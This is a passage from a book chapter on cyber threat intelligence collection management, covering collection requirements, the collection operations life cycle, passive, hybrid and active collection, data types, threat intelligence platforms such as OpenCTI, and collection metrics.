					Description/Rationale: The description and rationale field provides an explanation of what the PCR actually is or what the direction of collection is actually for. This should be concise, containing just enough detail to ascertain a high-level understanding of what specifically needs to be collected. 

					Requesting Entity: The requesting entity is an optional field that should contain the requesting party, if any. Keep in mind, in many circumstances the requesting entity may be the CTI function itself, with many PCRs being self-defined within the organization and directly aligned to an intelligence requirement. The requesting entity could be internal to the organization or external, depending on the needs and mission of the CTI team.

					Mapped GIR: If you recall previously in the chapter, GIR stands for general intelligence requirement, and is intended to refer to GIRs defined by the CTI function to align intelligence collection and enrichment. The mapped GIR is simply a defined GIR that the PCR corresponds to. A PCR should always have a mapped GIR. 

					Mapped FCR: The mapped FCR is a mapping to any relevant internal FCRs that have been developed or that the PCR needs to align with. The FCRs should be kept in a separate but living document that the PCRs can easily reference. 

					Applicable Data Types: Applicable data types are the types of data that collection should occur on. Yes, it would be easy to just say collect everything related to X, but that would be a poor utilization of resources and a near-impossible task to complete. Thus, defining the applicable data types to collect is paramount to defining a PCR. The applicable data types field within a PCR can be defined as any file type that needs to be collected, regardless of source. 

					Collection Systems: The collection systems portion of the PCR includes any collection systems that can help solve the PCR. Defining a cohesive list of collection systems helps keep PCRs structured and guide the collection team as to the sources that can be used to accomplish the PCR's completion.

					Desired Output: The desired output field within a PCR lists the specific outputs that are expected from the collection operation. The output can vary from PCR to PCR, as the specific goals and requestors vary uniquely from PCR to PCR. The desired output can be technical or non-technical in nature, again, depending on the desired output and requestor.

					Interval: The interval field within the PCR is the defined period that the PCR is valid for, and when the reevaluation of the PCR should occur. Intervals are PCR dependent and can easily vary from PCR to PCR. Most common intervals vary from 15 to 90 days, depending on the purpose and priority of the PCR. Additionally, the interval should be defined by the collection manager at the same time as reporting to the requesting entity is conducted or after the collection operations life cycle. For instance, if the interval is set to 30 days, the PCR should not only be reevaluated for accuracy in 30 days but reporting to the requesting entity should also occur at this same interval identifying any change to the PCR. 

			

			PCRs, like their closely related FCRs, are fundamental to any organization using a collection management process. Now that we've looked at the fundamentals of PCRs and discussed their alignment to PIRs and GIRs, let's move forward by looking at the actual collection operations planning now that the collection manager has prioritized our intelligence-gathering efforts.

			The collection operations life cycle

			To be an effective organization that is collecting data that fulfills your intelligence-gathering needs, appropriate planning is needed with special consideration around the established collection priorities, any special RFIs, and administration of collection operations on a recurring basis. Start your operations planning by evaluating any collection metrics that may have been derived about your existing collection effectiveness first. We will be covering collection metrics in more detail later in the chapter. It's important to understand that operations planning is a cyclical process like the intelligence life cycle. You can visualize the collection operations life cycle in Figure 6.2:
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			Figure 6.2 – Collection operations life cycle

			A review of your team's effectiveness will help identify any areas in which more investment is needed into resources and allow you to understand the weaknesses in your collection management program. Later, in our Intelligence collection metrics section, we'll talk about quantitative and qualitative collection metrics, but for now, let's move on to discuss evaluating your collection needs. 

			Surveying your collection needs

			During this phase of your collection operations life cycle, you should have already surveyed your organization's effectiveness against your established collection needs during the last cyclic period. You now understand how your organization's desired collection efforts were met by examining the reality of the actual collection effort. With this information about your organization's collection capabilities, you can now use this as a factor for planning out your collection needs for the following cycle of operations.

			It is at this point that you need to determine whether any of your PIRs have shifted as this will certainly shift the focus of the PCRs. If they haven't, then you need to take in several factors and reevaluate your PCRs to ensure that they continue to meet your organization's collection needs and this shift is reflected during your collection operations. Let's review some of the considerations you should examine when surveying your needs. 

			Intelligence collection metrics 

			Not to beat a dead horse, but the effectiveness of your collection operation's ability to meet the need of your intelligence requirements is a crucial piece of information for your organization. If you aren't meeting the goal of some intelligence requirements, then the entirety of your collection operations life cycle should be reviewed to determine the root cause of your collection failure. No matter whether it's a resource issue or a process issue, root cause analysis should reveal why the failure exists and resource investment or procedure change should be adopted to correct the issue. Special focus should be placed on PCRs that do not get fulfilled week after week and an action plan should be put into place to address the collection need. 

			Prioritized intelligence requirements

			In most mature organizations with established threat intelligence programs, the business unit that creates the intelligence requirements is not the same as the one that creates the collection requirements or even performs the collection operations. If you reference the threat intelligence life cycle that we introduced in Chapter 1, Why You Need a Threat Intelligence Program, you'll see that there are five different sections in the intelligence life cycle. Most mature organizations with established threat intelligence programs dissect the intelligence life cycle so that there are several groups with different purposes to address each section. Additionally, business units outside of your CTI program may also get involved depending on the phase of the intelligence life cycle.

			A group whose main skillset includes structured analytic techniques to evaluate empirical data and create intelligence judgments will largely focus on the Production, Dissemination and Feedback, and Planning and Direction phases of the life cycle. Additionally, the Dissemination and Feedback phase may actively involve stakeholders from marketing and public relations to assist the CTI organization should public release be a goal of your organization. The operations group usually focuses on Collection and Analysis. This means that during the Planning and Direction phase, the analytic groups can possibly review the intelligence collected and create and shift the organization's needs during the reevaluation of the PIRs during this phase. This would in turn cause the operations group to reestablish new PCRs for the current collection operations cycle. This shows why special effort should be focused on the current PIRs during the reevaluation stage of the PCRs as the analytic organization may make strategic shifts in the needs of your organization. With this understanding in place, let's move on to special collection requests. 

			Requests for information

			In any organization, there exist key stakeholders that may impact your planning. This can be a key member of senior or executive leadership or even a product owner who may be impacted by some threat. These key stakeholders are different for every organization and the CTI business unit within your organization should identify them. During a major cyber event, as an example, special collection requests may be asked of the CTI organization. Usually, a major cyber event either directly has an impact on the organization or may impact the industry in which the organization works. No matter what the case, special RFIs may be asked of the entire intelligence group.

			So now, when planning the new operations cycle, organizations must consider their intelligence collection metrics, the organization's PIRs, and any RFIs from key stakeholders. This information should be used to decide whether your organization needs to shift the current PCRs or even expand on the current needs. Once you've established your collection needs for this operations cycle, then you can move on to preparing for your operation.

			Planning and administration

			Now that we understand the intelligence-gathering needs for the organization in the existing collection operations life cycle, it is at this point in the process in which the collection manager should begin tasking groups or individuals to collect and work through any established processes, such as those defined by the OPSEC plan, rehearse to forecast any operational contingencies, and even ensure the appropriate technology or support vehicles are in place before collection operations. During the planning and administration phase of the operations planning, the collection manager should consider the following while developing the collection operations plan.

			People

			For every need, the organization should have an established PCR and the collection manager must consider whether the organization has the appropriate people to perform collection. During this consideration, the collection manager can usually fit personnel evaluation into three distinct categories: the technical discipline, the language requirement, and the Subject Matter Expertise (SME) focus area. Let's walk through all three:

			
					Technical discipline: Most collection operations can be successfully performed with just an appropriate technical skillset, especially for passive and possibly hybrid collection operations. While we'll be focusing on collection types later in the chapter, these operations usually rely on a technical skillset to collect information rather than the collection requiring engagement with a vetted-access community or the development of sources through active engagement. In these instances, the collection manager just needs to determine whether the personnel tasked with the collection has the appropriate technical skillset to acquire the data.

					Language requirement: There are several reasons that you may need to utilize someone with a language skillset. This could be something as simple as the information being collected is written in a particular language and you are seeking someone who can read and write in this language to interpret the information and extract the appropriate details. Alternatively, the language skillset becomes necessary if your collection effort is in a vetted-access community that speaks a specific language. Furthermore, this skillset becomes crucial should the collector perform any active engagements or try to source any individuals. If the level of effort needed to perform the intelligence gathering has a regional aspect to it, the collection personnel may need to be natural language speakers with cultural and regional understanding.

					SME focus area: Finally, the collection manager must consider whether the collector for the operations cycle needs to have a threat SME to perform the collection operation. It is not uncommon for people in the CTI industry to have an SME focus in areas such as ransomware, banking trojans, nation state, or even Advanced Persistent Threats (APTs). If a collector has a focused SME, then it may be wise to use this individual for the collection operation versus someone who only has general knowledge of a specific threat type. 

			

			As you can see, the exact nature of the collection operation will need to be considered when assigning the personnel to the operation. Once the collection manager has the appropriate personnel, then it is the collection manager's responsibility to ensure the collectors follow any process that is established and ensure any policies are explicitly followed.

			Process

			Once the appropriate personnel has been identified for a collection operation, then the collection manager should work through the operational planning with the collections team to ensure the intelligence gathering is successful. There are several key factors the collection manager must consider when developing the operations plan with the collection team, which we will illustrate as follows: 

			
					OPSEC: In Chapter 5, Operational Security (OPSEC), we talked about the importance of the OPSEC process and why it should be part of the group's established culture. We won't rehash it all here; however, the collection manager should work through the OPSEC processes and procedures with the collection team during operations planning. This will also ensure that the team does not get lulled into a false sense of security during the execution of the operation.

					Review any current intelligence: Before the operation is executed and while developing the operations plan, the collection manager and the collection team should review all intelligence holdings related to the data desired to be collected as well as the source of the information. This is an informative exercise for the collection team so that they are aware of any particulars associated with the collection, the environment where the collection is occurring, and even the source of information.

					Be cognizant of operation branches or sequels: This is in line with reviewing your current intelligence but is important enough that we broke it into its own category of consideration. Unless this is your organization's first time collecting data from a source location, then you will most likely have a history of collecting data from there. Depending on the collection type, this may mean that you should consider what story is told by the remnants from previous collection operations about your collection team. This can be very simplistic, such as the collection team used a specific IP range or VPN too many times to collect from a location that is tracking user information, or even something more difficult. Let's consider that potentially, your collection team is participating in data collection from a dark market, a hacking forum, or even a vetted-access community; then, prior to the operation, the team must consider what story your history in this location tells. What personas exist here? Has your collection team been burned here? Is there a continuing story your personas are trying to tell to elicit information? Is there an opportunity to set up multiple collection operations? You can see that the history of collection from a source location needs to be a consideration during operations planning. 

					Rehearse and plan any contingencies: Depending on the complexity of the collection type, infinite scenarios can arise that will cause a collection operation to fail. Additionally, it is not uncommon for user errors by the collections team to be the reason a collection operation has failed. Therefore, reviewing the operations plan and rehearsing the collection operation is important for the collection team. While walking through the rehearsal of a collection operation, this is when what-if scenarios can be introduced to the collection team and contingency strategies can be implemented by the collection manager should the need arise. All scenarios should be discussed and roleplayed so that if a scenario presents itself that was not expected, the collection team has a plan to fall back on.

			

			While these are very important aspects to consider during the planning and administration phase of operations planning, the final consideration should be focused on tools and technology.

			Tools and technology

			Now that the collection manager has the appropriate personnel, has reviewed the process, and has conducted appropriate planning, the final thing the collection manager should consider for the operations plan is what technologies will be needed by the collection team and whether they have the appropriate infrastructure to support their OPSEC and collection needs. Technology and infrastructure is usually classified into two different categories: collection tools and collection systems. Let's review both.

			Collection tools

			A collection tool is usually software that is installed on the individual collector's endpoint device and can run the gamut of capabilities. A collection tool can be free, such as having a programming language capability such as Python at the collector's disposal, a collection tool such as a Virtual Private Network (VPN) installed to aid in OPSEC during the collection operation, or even some form of file or network triage tools to aid in the evaluation of the collected data. Usually, the cadre of tools used for collection operations is unique to each of the individuals on the collection team. These tools vary from individual to individual and can incur minimal monetary cost to the organization. More mature organizations establish baseline collection systems in which the endpoint used by the collection team is standardized and each of the collection team members is trained to utilize the baseline software installation.

			Collection systems

			A collection system refers to internally developed software or application deployments to network infrastructure with access to the internet. This can be a network on-premises solution or even to a cloud location. A collection system has usually been developed with the intent to aid in passive collection activities, such as consuming data from a feed or an Application Programming Interface (API) automatically, with the operations and maintenance performed by an engineering team that focuses on collection innovation for the organization. While most collection systems are solely focused on passive collection operations, more mature organizations can deploy tools that assist in hybrid collection operations as well. An example of something like this could be a persona management system that is integrated with online social media utilizing the social media's API for interaction. The system can be botting, or actively participating without an actual human performing the user interaction. The software application can have a capability that allows the collection team operator to take over the bot for instances where pointed direction or interaction is needed outside of simple bot commands. This is merely an example but does highlight the innovations a collection team implements into collection systems for the benefit of the intelligence-gathering operation. We will be discussing the difference between passive and hybrid collection types later in the chapter when we discuss the collection operation.

			With all these considerations taken in during operations planning, the collection manager and collection team should be in a good place to begin collection operations to collect data that fulfills the organization's intelligence-gathering needs. It's time to execute the plan and perform the collection operation.

			The collection operation

			Let's consider this idea. The threat intelligence life cycle is put into place to support an organization's ability to make strategic decisions about the security posture of the organization, the capability of a product, or as an actual product. This means that there is a constant and consistent feedback loop from the collection operation through the intelligence life cycle and into the hands of the decision-makers of an organization. Intelligence supports the decision-making process around security posture improvements, product improvement, and even just simply actionable and timely intelligence if your organization provides a threat intelligence product.

			With this understanding in place, the collections team and the collection manager should establish an operational reporting cadence that cycles key takeaways from the collection operations upward for validation, evaluation, and strategic reporting during the collection operation and not just at the conclusion of the collection phase of the collection operations life cycle. The Collection and Analysis phases of the intelligence life cycle should have a feedback loop built in that enables this action.

			While executing the operations plan, consider that there are several types of collection operations that can be used to gather intelligence and fulfill the intelligence requirements of an organization. The collection manager has the duty of assigning the collection type during the planning phase of the collection life cycle and assigning the collection task to personnel with the appropriate skillset to perform these different types of intelligence gathering. Let's talk about the different collection types.

			Collection types

			Intelligence collection, on the surface, appears to be an easily understood and linear topic; however, it's quite diverse and each collection operation can be defined by three specific focal areas representing levels of effort. We are going to analyze each of these in greater detail; however, Figure 6.3 attempts to illustrate the overlapping nature of the different collection types and how as a collection team moves from passive into hybrid and eventually into active collection, the level of effort to perform these types of collection operations grows:
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			Figure 6.3 – The level of effort representation for each collection type

			While a collection team is performing its collection operation using online resources, the team often encounters open source information and intelligence. This open source information is accessible and easily navigable using a litany of online resources, such as Google, as an example.

			However, as the collection team continues delving deeper into intelligence collection, it can be more difficult to collect data and intelligence from specific websites, forums, or social media services. Most forums and social media services now require user accounts to be created prior to accessing site content. Due to this guarded nature around some data and intelligence, the collection operation becomes more difficult as the collection team cannot just passively collect intelligence. Instead, the collection team must create accounts to access forums and sources, or even establish personas, making the collection operation even more complex.

			Because of the complexity involved around the intelligence gathering, the complexity of effort and capability of the team and the supporting technologies allows us to categorize the collection operation into three distinct types: passive, where data is collected with little or no human interaction; hybrid, where a tool or system is used to collect but must have a level of oversight by the collection team; and finally active, where the collection team member is driving the bus, so to speak, around the collection operation. Let's explore the difference between passive, hybrid, and active collection types.

			Passive collection

			Passive collection can best be thought of in terms of intelligence gathering from exposed data sources both internally and externally to the organization. These can include items such as internal log files or open source locations online, such as social networking sites, such as Twitter (https://twitter.com/) and Facebook (https://www.facebook.com/). Passive, in terms of intelligence collection, means that the collection team does not directly interact with the source of the data or the adversary themselves and the organization's collection tools, or systems bear the brunt of the heavy lifting for the collection operation. 

			Passive collection from internal data sources is often done via automated means, such as reporting from an Endpoint Detection and Response (EDR) solution, and can be developed further through security automation. Additionally, passive collection from internal data sources often originates from monitoring and logging solutions that have endpoint, server, network, and other logs that can be ingested with little or no human interaction.

			Just as passive intelligence can be gathered from internal data sources, passive data collection can also be gathered from external or open source intelligence locations. Common sources to passively collect intelligence as examples include social networks, as mentioned previously, as well as sandbox submission feeds from providers such as Hybrid Analysis (https://www.hybrid-analysis.com/), and communication and instant messaging platforms such as Telegram (https://telegram.org/) or Discord (https://discord.com/). Passive collection can additionally include services such as VirusTotal (https://www.virustotal.com/) or other malware analysis locations on the internet where binary analysis services are offered.

			The data that can be collected and the source of data collection run the gamut of opportunities and are only limited by an organization's ability to automate tools or build collection systems to collect this data for the organization. Let's move on to hybrid collection.

			Hybrid collection

			Hybrid collection utilizes a combination of the passive data collection capabilities of an organization and active collection disciplines in the sense that it requires human interaction from the collection team to perform the collection operation. Additionally, just like with passive collection, hybrid collection also involves collecting data from two different sourcing silos: internal to an organization and externally internet-facing locations as well.

			Hybrid collection operations have some form of action that must be completed by the collection team, such as establishing a persona to actively engage in a dark market or forum, but usually does not mean actively engaging with actors in these locations. This level of effort distinguishes the collection type as hybrid as it will usually utilize the capabilities of passive collection but introduces actions that a collection team must specifically perform for the collection operation to be successful.

			Hybrid collection operations do not usually involve any active or direct interaction with a threat actor or adversary, but rather intelligence gathering is performed through indirect contact, such as identifying that an adversary is actively compromising a honeypot or utilizing a scanning service such as Shodan (https://www.shodan.io/) looking for targeting opportunities on your organization's attack surface as examples. This requires more than just data collection; it also is necessary for the collection team to have the capability to identify this activity. The additional level of effort to collect with direct involvement by a collection team member is what differentiates passive from hybrid collection activities. Let's move on to discuss active collection. 

			Active collection

			Active collection is the act of directly interacting with the source of intelligence or the adversary themselves. Active collection is most often considered exclusively external to an organization because the act of intelligence gathering requires active engagement at an online location, through interaction in a dark market or underground forum, or even because the collection team is directly engaging with actors in these locations. These collection opportunities do not exist internally within most organizations.

			In Chapter 5, Operational Security (OPSEC), we discussed the importance of OPSEC policies and procedures as well as the risks associated with persona development, active engagement, and source recruiting. All these collection operations inherit the highest risks to the collection team but also the organization as well. Because of this, some organizations choose not to pursue active collection opportunities at all. Additionally, some organizations have sensitivities regarding the perception of these activities publicly but also because of the legal sensitivities that may arise during this type of intelligence gathering.

			Active collection is often highly limited in scope, and this is because active collection activities expose the collection team and the organization to the most risk, both personal risk to the individual members of the collection team as well as risk to the organization should threat actors seek retribution for collection activities.

			As you can see from the descriptions of the different types of collection types, each type contains a level of effort to perform and, as discussed with active collection, a level of risk. The risk from a passive collection operation is usually very low and hybrid collection operations usually are low to moderate risk; however, as illustrated, active collection holds the highest-level risk. Now that you have a better understanding of collection types, let's move on to data types.

			Data types

			For an organization to perform intelligence analysis, the organization must collect data. While intelligence collection sounds like something from a James Bond film, intelligence collection should be viewed as part of an ongoing effort of the collection management process rather than as isolated intelligence collection efforts or one-off occurrences. An intelligence organization must constantly be collecting data.

			When an analyst embarks on a journey to collect threat intelligence, they should ultimately be setting out on a journey to solve a PCR, which will be discussed in greater detail later in the chapter. Those PCRs are meant to inform intelligence customers and guide analysts as to what to collect and with what priority. Core to these tenants of CTI is understanding the types of data that are actually collected.

			Within intelligence collection, there are different types of data to be aware of, primarily to understand how each data type is exploited in the intelligence collection and enrichment life cycles. In this section, we will examine each of the data types in closer detail, to fully understand how that data is consumed and generated.

			Raw data

			Raw data is data that has not been analyzed or evaluated for intelligence value. Raw data is usually in the form of logs from hosts, networks, or other internal data sources. Raw data can be shared from third parties as long as the proper Traffic Light Protocol (TLP) is set and the understanding that the data is raw is agreed to by all parties. 

			Some examples of raw data include the following:

			
					Raw firewall log files

					Honeypot data log files

					Endpoint logs 

					Server logs

					Networking infrastructure logs

			

			When the raw data is stored and organized, it's often then looked at and analyzed in greater detail, to understand and extract its technical and intelligence relevance to the organization.

			Analyzed data

			Analyzed data is data that has been processed and analyzed or exploited in some fashion. Analyzed data will likely contain both raw and analyzed or enriched intelligence and will have some sort of analysis performed on the data. Analyzed data is often produced after the third stage of the intelligence life cycle, or the processing stage.

			Analyzed data should have been passed through the intelligence workflows adopted by each organization and should analyze the raw data to understand its intelligence value. What this means is that the collected data should have a minimum amount of enrichment or analysis performed on it. 

			Some examples of analyzed data include the following:

			
					HIDS/NIDS/EDR alert logs

					Incident response report indicators and observables

					Industry malware blogs with indicators or malware samples

			

			After the intelligence data has been analyzed, it should then be enriched, productionized, and produced for key internal or external stakeholders. 

			Production data

			Production data is data that is finalized, has been analyzed, and is ready for distribution or dissemination to the CTI key stakeholders and customers. Production data is often available after the fourth step of the intelligence life cycle – or the Production and Analysis stage, but before stage five, which is the dissemination of the intelligence to customers and stakeholders.

			Productionized data is often intended to address a target audience or customer and could include technical indicators or recommendations based on the intelligence itself. This productionized data is often highly enriched or edited since it's a fully delivered product.

			Production data could include technical end results, such as actively sink-holing threat actor infrastructure, or it could be less technical in nature, such as high-level advisories sent out to industry partners based on threats to the banking sector. 

			Some examples of production data include the following:

			
					CISO briefing of internal incident report.

					Sinkholing threat actor infrastructure. Sinkholing is a form of network traffic redirection away from the intended destination to another location. 

					Blogs.

					Whitepapers.

					Advisories to customers, both internal and external. 

			

			When we analyze the data type compared to the type of intelligence collection, we can quickly differentiate the different types of data correlated to the collection type examples. We've attempted to articulate this in the following table:
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			As you can see from the preceding table, there are several example data types that could align with the collection type. In the next section, we are going to examine the concept of storing artifacts, indicators, and observables and the special considerations that should be accounted for.

			Important Note 

			An important aspect of any CTI function is the collection and aggregation of data throughout an organization's internal environment. While it's not common for CTI functions to be directly involved in the administration of logging solutions, CTI functions often provide input to the teams administering those solutions, as the CTI function understands, analyzes, and tracks tactics, techniques and procedures (TTP) changes and what to hunt for within corporate environments.

			Holistically speaking, and as previously discussed, logs can originate on network devices, EDR solutions, host-based intrusion detection (HID) system and network-based intrusion detection (NIDs) system endpoints, routers, servers, and more. While these logs generally make their way to a centralized logging and monitoring solution, they can also be ingested, either in whole or partially, in the Threat Intelligence Platform (TIP) for further correlation and enrichment. 

			The artifact and observable repositories

			Once intelligence and data are collected, where are they stored? Often an afterthought in the collection management process, the storage and maintenance of intelligence and related data is an important discipline, often carried out by individuals solely tasked with that function in the collection team. While there are many options for how to store intelligence and data, very broadly speaking, artifact and observable data repositories are simply intelligence and data stores that facilitate the following high-level objectives:

			
					The ability to store threat intelligence data in a normalized and efficient fashion

					The ability to access, filter, search, and query threat intelligence data

					API feed functionality to access threat intelligence data

					The ability to facilitate role-based access

					The ability to be modular in nature, supporting diverse threat data ingestion via diverse transport mechanisms, such as Structured Threat Information eXpression (STIX) or Trusted Automated eXchange of Indicator Information (TAXII)

					The ability to import and export a litany of supported file formats

					The ability to support data statistics and analytics 

					The ability to support a wide array of inputs and outputs 

			

			Part of analyzing the way artifacts, observables, and indicators are stored and accessed, and core to the concept of artifact and observable repositories and management, are software applications such as TIPs. A TIP is a solution that collects, stores, aggregates, and organizes technical threat intelligence data from a diverse set of file formats and sources, such as API feeds or graphic user interfaces. A TIP provides analysts and researchers with a central repository for tracking, storing, and adding context to observables, artifacts, and indicators. A TIP takes sources of data, such as log files or intelligence feeds, and provides a platform for organizing, sorting, and productionizing intelligence data. Ideally, a TIP enables threat intelligence teams to easily share data and intelligence with other entities, internal or external. TIPs accumulate threat data from diverse sources, and since those sources can often vary and be substantial in volume, aggregating this threat data is often assisted via automation within the TIP. We have attempted to articulate the representation of example inputs and outputs that a TIP can assist with in Figure 6.4:
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			Figure 6.4 – Example data inputs and outputs from a TIP

			A TIP can be deployed in several different fashions and architectures, including as an on-premises solution on corporate-owned hardware or virtual infrastructure or as a software-as-a-service offering, as examples. While there are unique considerations for all deployment options, cost, maintenance, and retention of data are common conversations when considering where and how to deploy a TIP. 

			While TIP requirements vary based on organizations, there are several key considerations that should be accounted for when deploying or using a TIP:

			
					Integration: A deployed TIP should enable a high degree of automation and should integrate with security information and event management (SIEM) systems and other log and alert management solutions. The TIP should support mapping to several frameworks, such as MITRE ATT&CK.

					Data models: Fundamentally, a TIP should have the capacity to normalize all data in a common format and data model. Any TIP that is up for consideration for deployment should include a flexible data model where complex data can be expressed, correlated, and linked together. Additionally, a TIP should have the capability to store, process, and extract antifactory data objects from a litany of file types. 

					Metrics and analytics: A TIP should have the functionality to generate metrics and analytics and should be presented to the analyst in a cohesive fashion. This enables the identification of data trending opportunities. Metrics regarding usage of the TIP should be retained and accessible. The TIP should contain analytics functions.

					Data classification and tagging: A TIP should have the capacity to apply tags to a specific activity, attributes, observables, or indicators. These tags can be done in an automated, semi-automated, or manual fashion. They help facilitate easy hunting, clustering, and searching based on tagged data.

					Data ingestion: Any TIP that is being considered for deployment should have the capability to ingest data from diverse and unique sources. There currently exists a large variety of available intelligence sources, such as private/trust communities, Information Sharing and Analysis Centers (ISACs), open source feeds, and commercial intelligence providers, that can be used to ingest data. Additionally, a TIP should have the capability to ingest specific intelligence data models and standards, such as STIX and TAXII. Finally, the TIP should ingest and support a wide variety of file formats. This includes file types such as XML, JSON, CSV, DOCX, TXT, and PDF.

					Data and intelligence enrichment: The enrichment of threat intelligence and data should be supported within any TIP. Enrichment is the act of adding context and enhancing collected data obtained from many sources. Enrichment includes data elements such as WHOIS records and passive DNS.

					Data processing: Data within the TIP should allow for the deduplication of intelligence data. A TIP should also support the linkage and support of custom rules to intelligence data, such as YARA or Sigma rules. In some isolated TIP instances, the support of clustering and grouping like data can be done in an automated way.

					User interface: A TIP should contain a foundational user interface that supports rich user functionality. A TIP's user interface should be highly intuitive, allowing for the displaying of connected threat intelligence data.

					API: An API should be supported for both retrieving intelligence data from the TIP as well as supporting the addition or editing of threat intelligence data via the API. 

					Monitoring, alerting, and visualization: A TIP should contain the functionality to monitor and alert analysts that wish to continue tracking specific threat activity. A TIP should support integrating with third-party visualization and clustering tools, such as Maltego (https://www.maltego.com/).

					Search and filtering capabilities: Search and filter functionalities within a TIP are of extreme importance. While storing the data in a structured and accessible fashion is foundational, having search functionalities to enable the finding and filtering of specific data the CTI analyst is looking for is a key functionality of the platform.

					Access control: Access control should be supported to restrict, control, and constrain what data is presented and shared and with whom. Robust access control should be supported for any accounts created for accessing the TIP. Access control should be easily assigned and managed within the TIP, making assigning roles convenient. 

					Sharing: A TIP should have the capability to share intelligence data with internal or external stakeholders. The methods for facilitating sharing should support many data models and standards to ensure wide shareability. The TIP should also contain functionality to email or otherwise notify CTI analysts based on monitors used.

			

			While the number of TIP considerations and requirements we laid out seem large, there are several TIP options to consider for utilization by an intelligence organization. The availability of TIPs currently available falls within two categories: open source and commercial. While the commercial and open source TIPs differ in many ways, it's often the case that open source TIPs will contain the functionality necessary for many CTI functions, especially for teams that are small to medium in size and just getting started in their CTI endeavors. 

			One of the most widely supported open source TIP solutions available is OpenCTI (https://opencti.io). OpenCTI is a robust TIP solution that is ideal for small to medium-sized CTI functions. Easily deployed on your own infrastructure and continually supported and updated, OpenCTI is a great option for any organization wishing to evaluate the need and use cases for a TIP deployment. A screenshot of OpenCTI's dashboard can be seen in Figure 6.5:
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			Figure 6.5 – OpenCTI user interface

			OpenCTI supports automated ingestion via connectors from several sources, facilitating nearly all the aforementioned TIP considerations. 

			While OpenCTI is a great open source, budget-friendly TIP option, there are several paid TIP options for those with the budget and need for additional scalability, support, and feature development. A few standard paid TIPs include Anomali ThreatStream (https://www.anomali.com/products/threatstream), ThreatQuotient Threat Q (https://www.threatq.com/threatq-platform), and Recorded Future (https://www.recordedfuture.com/solutions/threat-intelligence-platform).

			Now that we've got our data collected and our intelligence-gathering operations completed, let's move on to discuss intelligence collection metrics. 

			Intelligence collection metrics

			In the last phase of the collection operations life cycle, the collection manager will need to evaluate the collection operation utilizing performance measures. To do this, the collection manager will need to decide on what type of measure they will want to use to evaluate the collection effort. Most organizations start with some sort of quantitative metric that measures the quantity of effort, while more mature organizations move toward implementing a qualitative performance evaluation process that looks at the impact the collected data will have as well as the quality of the source of collection. We will look at both, starting with quantitative metrics.

			Quantitative metrics

			While trying to define how an organization will produce quantitative metrics to compare the performance of the collection operations, the collection manager should start with defining a unit of measurement. This will be crucial for the organization not only because it will define what success looks like for the intelligence collectors but also so that a quantitative evaluation can be performed on that unit of measure.

			Earlier in the chapter, when we provided several examples of PCRs when introducing the topic, the target collection deliverable was file-based payloads. A simple example of a quantitative metric in this instance is the number of files that have been collected that fulfills the collection requirement. If your PCR simply defines that your collection team collects file-based payloads that present threats to the financial sector, then surely your collection manager can articulate the success of a collection operation simply by providing the measurement of collected samples. This is a very simplistic view of a quantitative metric but also a valid one. The collection operation could have simply been focused on the collection of these binaries while the collection manager may have intended that. Now that data has been collected, the Analysis stage of the intelligence life cycle could be used to articulate the impact of this collected data.

			It's very difficult to say what quantitative metric is useful for one organization over another. However, after the definition of the unit of measurement, it is important that the quantity of data collected is directly aligned to the PCRs used to develop the collection operations plan. This will first identify to the collection manager how much data was collected versus the amount of data expected to be collected by the PCRs and the collection operations plan, essentially the completeness of data collection. This metric will assist the collection manager in determining whether the collections team was successful in collecting data for each of the PCRs defined during this collection life cycle.

			While the measurement suggested seems simplistic in nature, collection completeness is a valid viewpoint to determine whether the collection operation was successful. As the collection team and the collection operations mature, more objectivity should be placed on the completion of the PCRs. For example, instead of just pure volume or PCR completion being quantitative measures, what if the collection manager began looking at measurements of accuracy and measures of efficiency? Let's examine these to determine what is meant and to provide examples:

			
					Accuracy: Measuring the accuracy of the data collection is a measurement of the quality of that data. At some point, evaluation of the collected data will need to be performed to determine whether the data collected actually fulfills the needs of the PCR. If our PCR is requesting that we focus on collecting file-based payloads that have an impact on the financial sector and the data collected by the collections team is not this, then the collection manager will need to focus on developing a metrics program that addresses the accuracy of the collection, which may include the evaluation of data before accepting it as part of the intelligence-gathering effort. This can address whether the data collected fulfills the PCR. 

					Efficiency: This is as easy as it sounds. The quantitative metric that is used to determine efficiency is the time spent to collect a unit of measurement or to fulfill the PCR. Reviewing efficiency can highlight to the collection manager which PCRs will require little effort versus those that require significant investment. The evaluation of the collection efficiency can additionally assist the collection manager with operational taskings. If the efficiency measurement shows that some PCRs can be completed with little effort, then the collection manager can use this data to assign easy-to-complete collection efforts to staff members that are earlier in their careers while leaving more difficult-to-complete efforts to more senior members of the collection team. 

			

			While these two are just examples of qualitative metrics, the more mature the CTI organization becomes, the more insight it may try to achieve around collection operations. A very popular quantitative measurement is the Mean Time to Collect (MTTC). The MTTC is a quantitative metric that can be garnished over multiple collection operations. Imagine that an organization has performed hundreds of collection operations life cycles. The MTTC measurement can provide insight to the collection manager into what the organization is efficient at collecting and what remains a very arduous task. This insight can help the collection manager to see where investment needs to be placed in the overall program and even help with identifying individuals with capabilities that will create better collection opportunities.

			Finally, another quantitative metric suggestion is Full-Time Employee (FTE) efficiency. This is a quantitative measurement of the collection team's individual personnel. It is helpful to measure the strengths and weaknesses of each employee's collection capabilities. Over time, this measurement helps align the collection capabilities of specific personnel to the PCR fulfillment. One employee might be amazing at collecting ransomware samples but might really struggle at collecting nation-state or APT samples. This can be reflected by the measurement of the individual analyst's capability to complete specific PCRs and additionally may provide insight to the collection manager into where individual skillsets may need to be bolstered.

			As you can see, various quantitative metrics can be used to measure an organization or even the employees within the organization who are assisting with the intelligence-gathering effort. While what we discussed here has been PCR-focused, the same quantitative principles can also be applied to the sources of data collection. Specifically, the volume of data produced by a source and the accuracy of data produced by a source are key quantitative measures that assist in providing insight into sources. Now that you have some insight into quantitative measurements, let's move on to qualitative metrics. 

			Qualitative metrics

			Qualitative metrics are those that look beyond just numbers and try to define the value and impact of the data collected or the source from which the information was collected. This can sometimes mean that the qualitative metric is more difficult to create, is speculative, and can be difficult to interpret for an organization. For the purpose of intelligence collection, qualitative metrics usually focus on rating the data collection or evaluating the source of the information.

			Collection ratings

			Collection ratings help establish how reliable and trustworthy the sources of collection are within a CTI function. The core concept of collection ratings centers around the need to understand and rate sources of intelligence or information. Collection ratings help collection functions within CTI organizations accurately determine specifically how trustworthy, reliable, timely, and accurate specific collection sources are – both technical and non-technical. 

			There are several components to examine related to collection ratings, with source evaluation being the foundation. 

			Source evaluation

